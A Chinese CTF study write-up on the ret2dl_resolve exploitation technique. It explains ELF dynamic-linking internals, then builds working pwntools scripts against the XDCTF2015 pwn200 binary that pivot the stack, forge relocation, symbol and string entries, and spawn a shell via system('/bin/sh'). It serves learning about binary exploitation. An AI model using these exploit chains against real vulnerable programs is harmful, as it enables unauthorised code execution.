.dynamic:是ld.so使用的动态链接信息,在/etc/ld.so.conf文件中存放着需要动态加载的目录,使用ldconfig就可以将ld.so.conf中的指定目录的库文件加载到内存中,并记录在/etc/ld.so.cache文件中。ld.so.1文件就可以在高速缓存中访问动态库文件,提高访问速度。导入动态链接库,可以在/etc/ld.so.conf文件中配置,或者使用LD_LIBRARY_PATH环境变量进行引用。当然,看不懂的话只要了解其含有指向.dynstr, .dynsym, .rel.plt的指针就好
结构如下
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
而对每一个有该类型的object,d_tag控制着d_un的解释。
而在ida里我们可以看到的dynamic如下。
而我们着重关注的是以下三个
* DT_STRTAB
处于.dynamic的地址加0x44的位置;
该元素保存着字符串表地址,在第一部分有描述,包括了符号名,库名,
和一些其他的在该表中的字符串。指向.dynstr。
* DT_SYMTAB
处于.dynamic的地址加0x4c的位置;
该元素保存着符号表的地址,在第一部分有描述,对32-bit类型的文件来
说,关联着一个Elf32_Sym入口。指向.dynsym。
* DT_JMPREL
处于.dynamic的地址加0x84的位置;
假如存在,它的入口d_ptr成员保存着重定位入口(该入口单独关联着
PLT)的地址。假如lazy方式打开,那么分离它们的重定位入口让动态连接
器在进程初始化时忽略它们。假如该入口存在,相关联的类型入口DT_PLTRELSZ
和DT_PLTREL一定要存在。指向.rel.plt。
ld.so加载器:相应的配置文件是/etc/ld.so.conf,指定so库的搜索路径,是文本文件,也可以通过定义$LD_LIBRARY_PATH的环境变量来指定程序运行时的.so文件的搜索路径。
动态装载器(dynamic loader)
.dynstr:动态链接的字符串表,保存动态链接所需的字符串。比如符号表中的每个符号都有一个 st_name(符号名),他是指向字符串表的索引,这个字符串表可能就保存在 .dynstr,而.dynstr结构为正常的字符串数组。
.dynsym:动态链接的符号表,保存需要动态连接的符号表,而.dynsym结构如下
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;
.rel.plt:节的每个表项对应了所有外部过程调用符号的重定位信息。而.rel.plt结构如下
typedef struct{
Elf32_Addr r_offset;//指向GOT表的指针,即该函数在got表的偏移
Elf32_Word r_info;
}Elf32_Rel
_dll_runtime_resolve是重定位函数,该函数会在进程运行时动态修改函数地址来达到重定位的效果。此函数无无延迟绑定机制, 需要两个参数,一个是 **reloc_arg ** ,就是函数自己的 plt 表项 push 的内容,一个是 link_map,这个是公共 plt 表项 push 进栈的,通过它可以找到.dynamic的地址
在程序运行时,有很多函数在程序执行时不会被用到,比如错误处理或者 用户比较少用的功能模块等,所以不需要所有函数在一开始就链接好。
延迟绑定(Lazy Binding) 的基本思想是 函数第一次被调用时才进行绑定(符号查找、重定位等),如果没有则不进行绑定。要实现 延迟绑定 需要使用到名为 PLT(Procedure Linkage Table) 的方法。
而通常延迟绑定机制又是通过调用 _dl_runtime_resolve函数来实现的,这也正是此函数没有延迟绑定的原因。
_dl_fixup()函数在elf/dl_runtime.c中实现,用于解析导入函数的真实地址,并改写got表
禁用延迟绑定,即所有的导入符号在加载是便被解析,.got.plt段被完全初始化为目标函数的地址,并标记为只读,很显然,这种情况,我们几乎用不了ret2dl_resolve的思路。
这种情况就比较有意思了,由于关闭RELRO保护,使dynamic可写,由于动态加载器是从.dynamic段的DT_STRTSB条目中来获取.dynstr段的地址,此条目的位置是已知的,且可写,于是我们可以改写此条目的内容,欺骗动态装载器,使其以为。dynstr段在.bss上,同时在此处伪造一个假的字符串表,当其在解析函数时,就会是用不同的基地址找函数名,最终执行我们希望其执行的函数。
因为开启Partial RELRO,使.dynamic段标记为只读,不可写,但我们知道relloc_arg对应ELF_REL在rel.plt段上的偏移,动态加载器将其加上rel.plt的基地址来得到目标ELF_REL的地址。然而,当这个内存地址超过了.rel.plt段,并达到.bss时,我们就可以在这里伪造一个ELF_REL,使r_offset是一个可写的内存地址,来将解析后的函数地址写到那里。同样,使r_info的是一个能将动态装载器导向攻击者控制内存的下标,指向一个位于它后面的ELF_SYM,而ELF_SYM中的st_name指向我么希望执行的函数即可。
一定要看熟它!!!!看不懂多看几遍
1.dl_runtime_resolve 有两个参数,一个是 reloc_arg,存放着 Elf32_Rel 的指针对.rel.plt段的偏移量,一个是link_map,里面存放着一段地址,通过这段地址可以找到.dynamic段的地址
2通过 .dynamic 可以找到 .dynstr(+0x44)、.dynsym(+0x4c)、.rel.plt(+0x84) 的地址
3.rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,里面存放着两个变量 r_offset和r_info
4将 r_info>>8 可以得到 .dynsym 的下标
5.dynstr+这个下标(name_offset )得到的就是 st_name,而 st_name 存放的就是要调用函数的函数名
6在动态链接库查找该函数后,把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针,赋值给GOT表后,一次函数的动态链接就完成了。
我们用gdb调试理解一下
参考文章
#include
#include
int main()
{
char buf[200];
setbuf(stdin, buf);
read(0, buf, 128);
puts(buf);
return 0;
}
用gcc -o dynamic -m32 -fno-stack-protector -g hello_pwn.c 编译
一些简单的代码在某些环境下很可能被编译为Position-Independent Executable (PIE)以允许Address Space Layout Randomization (ASLR).在某些系统上,gcc被配置为默认创建PIE(这意味着选项-pie -fPIE被传递给gcc).
启动GDB来调试PIE时,它开始从0读取地址,因为您的可执行文件尚未启动,因此没有重新定位(在PIE中,包括.text部分在内的所有地址都是可重定位的,它们从0开始,类似于动态共享对象).而运行之后则会重新定位为所谓的“实际地址”。
回到正题,运行后。
gdb调试,下个断点
来到call,si跟进
此刻我们跳转到了函数自己的plt表项
可以看到先是jmp到ebx+0x10,看一眼这里是什么。
发现就是跳到下一行,然后push了一个0x8(_dll_runtime_resolve函数的relloc_arg参数(Elf_Rel在rel.plt中的偏移)),然后jmp到0x56556020,而这里便是公共的plt表项
让我们跟进来到公共的plt表项
由此我们的以得到link_map的地址,而通过link_map的地址,我们可以由此找到.dynamic的地址,从而找到在。dynamic里的各种节的地址。而通过网上的资料,我们了解到第三个地址便是dynamic的地址。
通过前置知识,我们可知道.dynstr, .dynsym, .rel.plt的位置依序如下
.rel.plt的地址加上参数relloc_arg得到的地址即是重定位表项Elf32_Rel的指针,记作rel
而如下,我们可得到r_offset = 0x4010 (重定位前) ,r_info = 0x00000407
然后我们将r_info>>8,即0x00000207>>8 = 2作为.dynsym中的下标, 此时我们来到.dynsym的位置,去找找read函数的名字符串偏移;
于是我们得到偏移量记为name_offset为0x1b,我们再用dynstr+偏移量就是这个函数的函数名的地址(st_name)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
在动态链接库查找该函数后,把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针,赋值给GOT表后,把控制权返还给read。
于是调试结束
众所周知,执行call指令时会对栈进行初始化,开辟一块空间给被调用的函数使用,而通常会用如下指令实现
push ebp #把ebp放进栈,即saved ebp
mov ebp,esp
而call命令结束的时候则将这块空间还回去,以如下指令实现
leave
ret
其中leave命令又相当于mov esp,ebp ; pop ebp;
那么有意思的事情就来了,如果我们在执行leave命令之前,让ebp指向一个我们所希望的地址,那么理论上,pop ebp;之后,esp将-1个单位(4或8位),然后继续执行我么所希望地址上的函数,那么这就会很令人开心了。
而这个方法就是所谓的栈迁移。
由于存在栈溢出漏洞,我们可以把栈覆盖成如下
由于调用read函数会在fake_ebp1写下0x100个字节,我们称此地址为fake_ebp2
read调用结束后esp来到返回地址执行leave_ret
首先执行mov esp,ebp命令;执行结束后,esp和ebp寄存器里面的值相同,且都指向bss段的地址fake ebp1
然后执行pop ebp;命令,由于fake ebp1指向fake_ebp2,所以pop后ebp指向fake_ebp2。
执行pop后,esp会减一个单位,如果这里刚好有我们一不小心部署好的函数地址,那就比较令人开心了。因为随后执行的ret命令,将会刚好执行此函数。
而这就是栈迁移的原理。
以write函数举例输出“/bin/sh”字符串,而既然write能输出“/bin/sh”,那么理论上system也行。
于是要完成如上操作,主要有两个步骤
1、栈迁移到 bss 段
rop.raw('a' * offset)
### 向新栈中写0x100个字节
rop.call('read',[0,base_stage,0x100])#基本等同于rop.read(0, base_stage, 0x100)
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())
2、控制 write 函数输出相应的字符串
sh = "/bin/sh"
rop.write(1, base_stage + 20, len(sh))
rop.raw(sh)
rop.raw('a' * (0x100 - len(rop.chain())))
可能大家对第二行有点蒙,但是如果说rop.write(1, base_stage + 20, len(sh))的长度便是二十是不是就可以理解了
from pwn import *
elf = ELF('./pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #获取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 将栈迁移到bss段
stack_size = 0x800
## 新栈空间大小为0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset)
### 向新栈中写0x100个字节
rop.call('read',[0,base_stage,0x100])#rop.read(0, base_stage, 0x100)
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())
## 利用write打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
Bin = "/bin/sh"
rop.call('write',[1, base_stage + 20, len(Bin)])#rop.write(1, base_stage + 20, len(Bin))
print(len(rop.chain()))#打印出20,说明长度为20,那么直接在base_stage + 20写上"/bin/sh"作为write的第一个参数
rop.raw(Bin)
rop.raw('a' * (0x100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()
发现成功打印
而显然要达到我们的最终目的使用如上方法显然是行不通的,于是我们循序渐进,尝试利用plt[0]中的push linkmap以及跳转到dl_resolve函数中的解析指令来代替直接调用write函数的手法,对.rel.plt进行迁移。
而我们具体要做什么我们其实只需跳到plt0地址,然后输入我们虚假的relloc_arg其实便可以调用write()函数了。
即模拟如下两步
call 0x56556030
jmp DWORD PTR [ebx+0xc]#下一行
**push relloc_arg**
**jmp plt0**
push link_map
jmp dl_runtime_resovle
因此我们所需要的东西
1.plt0的地址
2.虚假的relloc_arg
那么plt0的地址我们可以通过**elf.get_section_by_name(’.plt’).header.sh_addr **找到,但relloc_arg需要我们计算出来
首先我们要知道.plt的作用是一个跳板,保存了某个符号在重定位表中的偏移量(用来第一次查找某个符号)和对应的.got.plt的对应的地址,于是我们明白.plt与.plt.rel一一对应。而.plt从结构体下标从1开始,.rel.plt的结构体下标是从0开始的。对应如下
根据上图我们可以很清楚的了解到(write_plt-plt0)/16得到write在.plt的下标再减1可得到在.rel.plt的下标,而relloc_arg则在如上基础乘8.
即relloc_arg=((elf.plt[‘write’] - plt0) / 16 - 1)*8
于是到这里我们便可以轻松的调用write了。
from pwn import *
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #获取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())
rop = ROP('./pwn200.out')
BIN = "/bin/sh"
##获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
##计算write函数重定位索引
relloc_arg=((elf.plt['write'] - plt0) / 16 - 1)*8
print("plt0:")
print(plt0)
print("write_index:")
print(relloc_arg)
rop.raw(plt0)
relloc_arg1=int (relloc_arg)#这一步我也挺懵的,应该是rop.raw不能是float?
rop.raw(relloc_arg1)
## fake ret addr of write
rop.raw('bbbb') ##write函数返回地址
rop.raw(1) ##write函数1参
rop.raw(base_stage + 24) ##write函数2参
rop.raw(len(BIN)) ##write函数3参
print("len:rop.chain():")
print(len(rop.chain()))#长度为24,所以可以在base_stage + 24写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()
而接下来我们将要尝试伪造一个ELF_REL结构体,使程序直接指向。而ELF_REL也不过就是.rel.plt的一个结构体,而该节的结构,我们在前置知识已经了解如下
typedef struct{
Elf32_Addr r_offset;//指向GOT表的指针,即对got表的偏移量
Elf32_Word r_info;
}Elf32_Rel
我们可以通过
readelf -r pwn200.out
得到该程序得到重定位信息
这里记录一个小点,有的师傅是用write_got = elf.got[‘write’]得到r_offset的。
正常来说,我们是用.rel.plt+relloc_arg定位到ELF_REL的,所以有一个很简单想法,在_dl_runtime_resolve函数没有做边界检查的大前提下,我们可以将relloc_arg无限放大到.bss段上的伪ELF_REL。
我们设伪造偏移量伪fake_relloc,把伪造ELF_REL与base_stage的距离命名为offset,拥有小学数学水平的人也能够很清楚的明白如下等式,base_stage+offset=.rel.plt+fake_relloc,即fake_relloc=.rel.plt+offset-base_stage.
那么现在我们唯一所需要的量就是offset了,有点难搞?列个表就清晰了。base_stage的内容如下。
因为是32位程序,所以每行为4字节,那么到这里,我相信我们能凭借优秀的数数技术,数出offset为24.fake_relloc=.rel.plt+24-base_stage.
于是到这里,准备工作终于完成。
from pwn import *
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #获取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())
# 打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"
## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
fake_relloc = base_stage + 24 - rel_plt
r_offset = 0x0804c01c
r_info = 0x607
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函数返回地址
rop.raw(1)
rop.raw(base_stage + 32)
rop.raw(len(BIN))
rop.raw(r_offset)
rop.raw(r_info)
print("len:rop.chain():")
print(len(rop.chain()))#长度为32,所以可以在base_stage + 32写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()
上一步我们在.bss段上伪造一个Elf_Rel,但聪明的孩子就会发现了,如果我们之后想调用system函数,那么r_info和r_offset肯定不能通过readelf读出,r_offset比较好解决,直接用elf.got就可以得到,但r_info就没这么容易了,那么我么下一步便要在.bss段上伪造一个dynsym,然后通过构造的dynsym反推出新的r_info.
根据前置知识,我们知道dynsym结构如下
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;
于是很明显我们要是想构造一个dynsym,我们要知道st_name,st_value,st_size,st_info的数值。
通过readelf -a main读出dynsym的下标
读出下标为6,那么我们通过readelf -x .dynsym 读出数值。
很明显第七行即为write函数,st_name=0x42,st_value=0,st_size=0,st_info=0x12
总所周知r_info>>8=.dynsym中的下标,因此我们需要得到其下标
dynsym_index =(base_stage+24+8-dynsym)/16
但因为dynsym大小为16字节,所以程序要找一个函数的dynsym节则要16个字节16个字节的找。所以正常来说我们的base_stage+24+8正确位置的可能性只有四分之一。说起来可能有点抽象来张图解释一下吧。
如上图,只有当我们的base_stage+32在第一列的时候才能称之为正确的地址。
欸嘿,当然凭借运气的话,我们还是有可能攻击成功的,但显然,我们需要一种方法把这低的可怜的可能性提高一下,其实还是有挺多方法的,这里我们使用地址对齐即在伪造dynsym前加上一段垃圾数据,是我们构造的dynsym在一个正确的位置。那么垃圾数据的长度如何计算?
align = 0x10-((base_stage+24+8-dynsym)%16)
或
align = 0x10-((base_stage+24+8-dynsym)&0xf)
所以我们构造的dynsym的地址就是
fake_sym_addr = (0x10-((base_stage+24+8-dynsym)%16))+base_stage+24+8
或者
fake_sym_addr = (0x10-((base_stage+24+8-dynsym)& 0xf))+base_stage+24+8
于是该函数对于dynsym的下标为
dynsym_index =(fake_sym_addr-dynsym)/16
于是我们终于可以通过.dynsym结构体下标反推r_info了
r_info是0x?07的形式,其实稍微解释一下,就是把偏移为?的导入函数,07代表的是导入函数的意思.
所以我们要做的就是将dynsym_index左移八位,再加上07标识符就可以了
r_info = (dynsym_index<<8)+0x7
或
r_info = (dynsym_index<<8)|0x7 #因为bin(dynsym_index<<8)的后四位均为0所以与上0x7实际上就相当于加0x7
于是到这里我们终于准备好了,如果还有些模糊,再列个表表示栈布局如下
于是我们可以写脚本了
from pwn import *
context.log_level = 'debug'
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #获取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())
# 打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"
## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 获得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
## 伪造的dynsym
st_name=0x42
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意这里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用构造的dyndym地址反推r_info
print(r_info)
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函数返回地址
rop.raw(1)
rop.raw(base_stage + 52)
rop.raw(len(BIN))
rop.raw(r_offset) ##构造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##构造的.dydnsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
print("len:rop.chain():")
print(len(rop.chain()))#长度为52,所以可以在base_stage + 52写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()
有了如上的经验,接下来就会很轻松了,加油,胜利就在眼前,我们可以继续伪造.dynstr,而从前置知识,我们知道.dynstr就是普通的字符串数组,只需要伪造一个需调用函数的函数名的字符串即可。如我们想要调用write函数即需要构造write函数的字符串“write\x00”(.dynstr中每一段字符串都以\x00结尾)
而同时我们可以通过构造的字符串地址对于.dynstr的偏移来算出新的st_name.
我们可以得到如下公式并算出st_name
st_name = base_stage + 24 +8 +align +16 - .dynstr
即
st_name = fake_sym_addr - .dynstr
虽然这里并不是很抽象,但还是写一下栈的布局吧
好了,那么我们愉快的写exp吧
from pwn import *
context.log_level = 'debug'
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #获取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())
# 打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"
## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 获得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 获得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意这里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用构造的dyndym地址反推r_info
print(r_info)
print(st_name)
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函数返回地址
rop.raw(1)
rop.raw(base_stage + 58)
rop.raw(len(BIN))
rop.raw(r_offset) ##构造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##构造的.dynsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
rop.raw('write\x00')##伪造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#长度为58,所以可以在base_stage + 58写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()
终于到了最后了,到现在,整个攻击手法如下已经完成了
1.栈迁移到.bss段
2.伪造ELF_REL
3.伪造.dynsym
4.伪造.synstr
我们逐级递进,而到这一步,我们要做的就是把write函数换为system函数,而聪明的同学已经发现了,因为之前的逐级递进,我们现在并不用改什么了,只需要把我们伪造的.dynstr的字符串换为’system\x00’就大功告成了。
栈布局如下
于是我们可以写exp了
from pwn import *
context.log_level = 'debug'
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #获取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())
# 打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh\0"##众所周知一般的函数遇到 \0 才会结束读取,所以为了防止system('/bin/shaaaaaaaa....aaaaa')的情况,我们要加上\0
## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 获得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 获得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意这里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用构造的dyndym地址反推r_info
print(r_info)
print(st_name)
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函数返回地址
rop.raw(base_stage + 59)
rop.raw('aaaa')##事实上因为system只需要一个参数,另外两个都不用写,但为了不破坏原有的布局就填上垃圾数据即可
rop.raw('aaaa')
rop.raw(r_offset) ##构造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##构造的.dynsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
rop.raw('system\x00')##伪造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#长度为58,所以可以在base_stage + 59写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()
《程序员的自我修养》笔记4——动态链接
elf文件类型六 Dynamic Section(动态section)
ld、ld.so命令和ld.so.conf配置文件
好好说话之ret2_dl_runtime_resolve
ok,完美收官,于是ret2dl_resolve的学习到这里终于结束了,真是一段漫长的时间,有问题欢迎各位师傅指出,另外,大家五一快乐!